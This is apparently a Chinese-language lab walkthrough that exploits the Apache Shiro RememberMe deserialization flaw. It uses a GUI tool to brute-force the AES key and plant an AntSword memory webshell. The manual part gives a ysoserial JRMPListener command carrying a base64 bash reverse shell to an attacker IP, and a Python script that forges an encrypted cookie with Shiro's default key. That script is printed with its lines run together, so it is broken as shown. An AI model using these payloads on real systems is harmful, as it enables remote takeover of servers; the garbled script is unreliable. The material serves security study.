目录
一、shiro反序列化漏洞原理
二、漏洞复现
三、手动漏洞复现
一、shiro反序列化漏洞原理
Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie,在服务端接收cookie值后,Base64解码–>AES解密–>反序列化。攻击者只要找到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化–>AES加密–>Base64编码,然后将其作为cookie的rememberMe字段发送,Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。
Apache shiro简介
Apache Shiro 是一个强大易用的 Java 安全框架,用于处理身份认证(登录)、授权(权限控制)、会话管理和加密,让应用安全实现变得简单规范。
漏洞影响版本
Apache shiro <= 1.2.4
二、漏洞复现
环境启动成功
随意输入账号密码,点击 Remember me,然后在登录的时候抓包如下。
我们发现请求包中包含rememberme字段,响应包中包含rememberMe=deleteMe这个 Cookie,这是 Shiro 的典型标志。
随后我们使用shiro反序列化漏洞综合利用工具,url输入http://192.168.112.152:8080/doLogin,然后改为POST方式,点击右面的爆破密钥,但是这样显示未发现shiro框架
那么这里我们尝试url输入http://192.168.112.152:8080/,然后再次爆破密钥,这次成功拿到了密钥,所以这里提醒我们再使用工具时候尽量从根目录开始扫描,不用落下某个目录。
然后点击检测当前利用链,随后结果如下,使用构造链CommonsBeanutils1,回显方式选择ALLEcho。
点击命令执行,输入whoami,ok利用成功。
接下来点击内存马,选择蚁剑[Filter],输入个路径abc,随后执行注入,发现注入成功。
打开蚁剑,连接类型选择jsp,连接成功!
三、手动漏洞复现
为了能够清晰的展现构造恶意cookie的这个过程,这里使用两个方法。
方法:靶机访问攻击机启动的RMI服务来反弹shell
首先在攻击机监听4444端口
然后我们在9999端口启动一个RMI服务,任何连接到这个服务的机器都会执行后面的反弹shell语句。
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMi4xNTAvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}"
其中的bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMi4xNTAvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}是bash -i >& /dev/tcp/192.168.112.150/4444 0>&1的base64编码后的结果,大家在https://ares-x.com/tools/runtime-exec这里进行一键base64编码即可。
启动RMI服务成功
随后我们应该构造一个恶意的经过序列化->AES加密->base64编码的cookie中的rememberMe字段,然后通过该字段发送到服务器后进行base64解码,AES解密,反序列化,最终触发恶意代码使靶机去访问攻击机启动的RMI服务。
下面是对指向RMI服务的客户端连接指令进行加密编码。脚本shiro.py代码如下(注意这是一段python3的代码,其中key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")这一行括号内即为AES加密的密钥,如果密钥是其他的,在这里就填写其他的密钥,其中的ysoserial-0.0.6-SNAPSHOT-BETA-all.jar名字用你们自己的就行。):
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-BETA-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")iv = uuid.uuid4().bytesencryptor = AES.new(key, AES.MODE_CBC, iv)file_body = pad(popen.stdout.read())base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))return base64_ciphertext
if __name__ == '__main__':payload = encode_rememberme(sys.argv[1])print("rememberMe={0}".format(payload.decode()))
接力来执行
python3 shiro.py 192.168.112.150:9999
生成成功!
随后我们应该复制然后来到靶机的网站页面,随后随便输入点用户名密码然后抓包,抓包结果如下。
随后我们在cookie值中复制我们的rememberMe字段,如图所示。
随后放包,然后回到我们的攻击机成功getshell。